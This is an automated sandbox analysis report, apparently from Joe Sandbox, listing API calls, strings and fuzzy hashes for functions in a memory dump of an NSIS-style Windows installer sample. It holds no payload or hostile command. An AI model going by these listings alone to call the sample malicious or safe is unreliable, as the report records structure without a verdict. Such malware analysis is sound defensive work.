Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction ID: 042007ee205ef60e30064d08c60082207347e2967af2fac5581f577c4c1081ae
Opcode Fuzzy Hash: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction Fuzzy Hash: 4E11A332504115EBDB01BFE1DE49AAE3A62EF04324B24807FF502B51D2C7BD4D51DA9D

Function 0040487A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404895
GetMessagePos.USER32 ref: 0040489D
ScreenToClient.USER32(?,?), ref: 004048B5
SendMessageW.USER32(?,00001111,00000000,?), ref: 004048C7
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048ED

Strings

f, xrefs: 004048C9

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction ID: ebefa7930bdcd0e41c689069c6d494cf412fee4c497549fa98469d3d4217857c
Opcode Fuzzy Hash: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction Fuzzy Hash: 7A019E72A00219BAEB00DB94CC85BEEBBB8AF44710F10412ABB10B61D0C3B45A058BA4

Function 00406064 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
CharNextW.USER32(?,?,?,00000000), ref: 004060D6
CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Strings

*?|<>/":, xrefs: 004060B6

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction ID: be175804d259169a812840791ea7ca7df426672d81dd27f3292f2fdf866f60ab
Opcode Fuzzy Hash: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction Fuzzy Hash: E311C81188022159DB30FB698C4497776F8AE55750716843FE9CAF32C1E7BCDC9182BD

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GlobalFree.KERNEL32(00000000), ref: 00402387

Strings

Exch: stack < %d elements, xrefs: 00401ED8
SeminarsRuralConductWagnerYahooWords, xrefs: 00401EFB, 00401F00, 00401F1A
Pop: stack empty, xrefs: 00401F2C

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$Pop: stack empty$SeminarsRuralConductWagnerYahooWords
API String ID: 1459762280-3176207372
Opcode ID: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction ID: 50a08f61e59307d203ec8fda99e8a78aa4432658e9e299f93ea532572e85a124
Opcode Fuzzy Hash: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction Fuzzy Hash: 4921FF72640001EBD710EF98DD81A6E77A8AA04358720413BF503F32E1DB799C11966D

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction ID: c67b0bc93acae55c3864b02ebd95f02f7c15995ce12be8144693d1f813214158
Opcode Fuzzy Hash: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction Fuzzy Hash: EB117976500008FFDF119F90ED859AA3B7AFB84348F004476FA0AB5070D3358E509A29

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00409838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

GlobalFree.KERNEL32(00000000), ref: 00402387

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction ID: 214764af72b390ffa64cdeb44d1c6cd0e8ca06a9e3a7070d0c65f9f565939ffa
Opcode Fuzzy Hash: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction Fuzzy Hash: 0D112572A0010AAFDF00EFA1D9459AEBBB8EF08344B10447AF606F61A1D7798A40CB18

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction ID: eb70b36e00a6049791e454e439637436730f967712bedb277b0d85a94317bb29
Opcode Fuzzy Hash: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction Fuzzy Hash: 7F016171600205FFEB14AF60DD4CE9E3B78EB05359F10443AF606B91E2D6799D81DB68

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction ID: 8f71947f799b2f64a69df86d2a8dcb393400c967cd863db52f2ee5b4f8782dab
Opcode Fuzzy Hash: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction Fuzzy Hash: 9DF012B2A00104BFE700EBA4EE89DEFBBBCEB04305B104575F502F6162C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction ID: 6a5c1514d43e21eed083d94b15ba6593763dc9af2b3e6337d8774d5f4809249f
Opcode Fuzzy Hash: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction Fuzzy Hash: 56217171900209BADF15AFB4D886ABE7BB9EF04349F10413EF602F60E2D6794A40D758

Function 004043D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00451D98,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00451D98,?), ref: 00404476
wsprintfW.USER32 ref: 00404483
SetDlgItemTextW.USER32(?,00451D98,000000DF), ref: 00404496

Strings

%u.%u%s%s, xrefs: 00404470

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction ID: 019992b557dc20c415266b5889428492ee6a52d86c3b4952972254649920ef77
Opcode Fuzzy Hash: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction Fuzzy Hash: DC11527270021477CF10AA699D45F9E765EEBC5334F10423BF519F31E1D6388A158259

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
DeleteRegKey: "%s\%s", xrefs: 00402843

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction ID: 70287f52249eeba914cab3bee2f8f529b2cd5257afac1a85b0186071c419a2a5
Opcode Fuzzy Hash: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction Fuzzy Hash: 2511E732E00200ABDB10FFA5DD4AABE3A64EF40354F10403FF50AB61D2D6798E50C6AD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406301: FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
Part of subcall function 00406301: FindClose.KERNEL32(00000000), ref: 00406318

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction ID: 7c1d43f40acf3f33c375e3424532232737b5c7d4dc38a4161669d523a66d0fcf
Opcode Fuzzy Hash: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction Fuzzy Hash: 8A114F71D00214AADB10FFF6984699FBBBCAF44354B10843BA502F72D2E67989418759

Function 00406250 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 004062A4
lstrcatW.KERNEL32(00000000,...), ref: 004062C7

Strings

..., xrefs: 004062BF
%02x%c, xrefs: 0040629C

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction ID: 9bf571533c0fd83e5fe1ff618cfd19ea7d9613251e6e948213dceada22d50e27
Opcode Fuzzy Hash: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction Fuzzy Hash: E201D272510219BFCB01DF98CC44A9EBBB9EF84714F20817AF806F3280D2799EA48794

Function 00405073 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405083

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

OleUninitialize.OLE32(00000404,00000000), ref: 004050D1

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

Section: "%s", xrefs: 004050A5
Skipping section: "%s", xrefs: 004050E1

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction ID: 3a4ae3dd184d198318ece42e1af7a5bc75ccdc2bd7a030bb5b2a43e0dda7b67b
Opcode Fuzzy Hash: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction Fuzzy Hash: 0EF0F433504300ABE7106766AC02B1A7BA0EF84724F25017FFA09721E2DB7928418EAD

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00427DC1,74DF23A0,00000000), ref: 00406902

CreateFontIndirectW.GDI32(00420110), ref: 0040216A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction ID: 0ba792ce9c48b24537a9dfec97a4105c0a721b5be590283e64661935fd66df2d
Opcode Fuzzy Hash: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction Fuzzy Hash: B6018872B042509FF7119BB4BC4ABAA7BE4A715315F504436F141F61E3CA7D4411C72D

Function 00407224 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406EFE: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407265
lstrcmpW.KERNEL32(?,Version ), ref: 00407276
lstrcpynW.KERNEL32(?,?,?), ref: 0040728D

Strings

Version , xrefs: 0040726D

Memory Dump Source

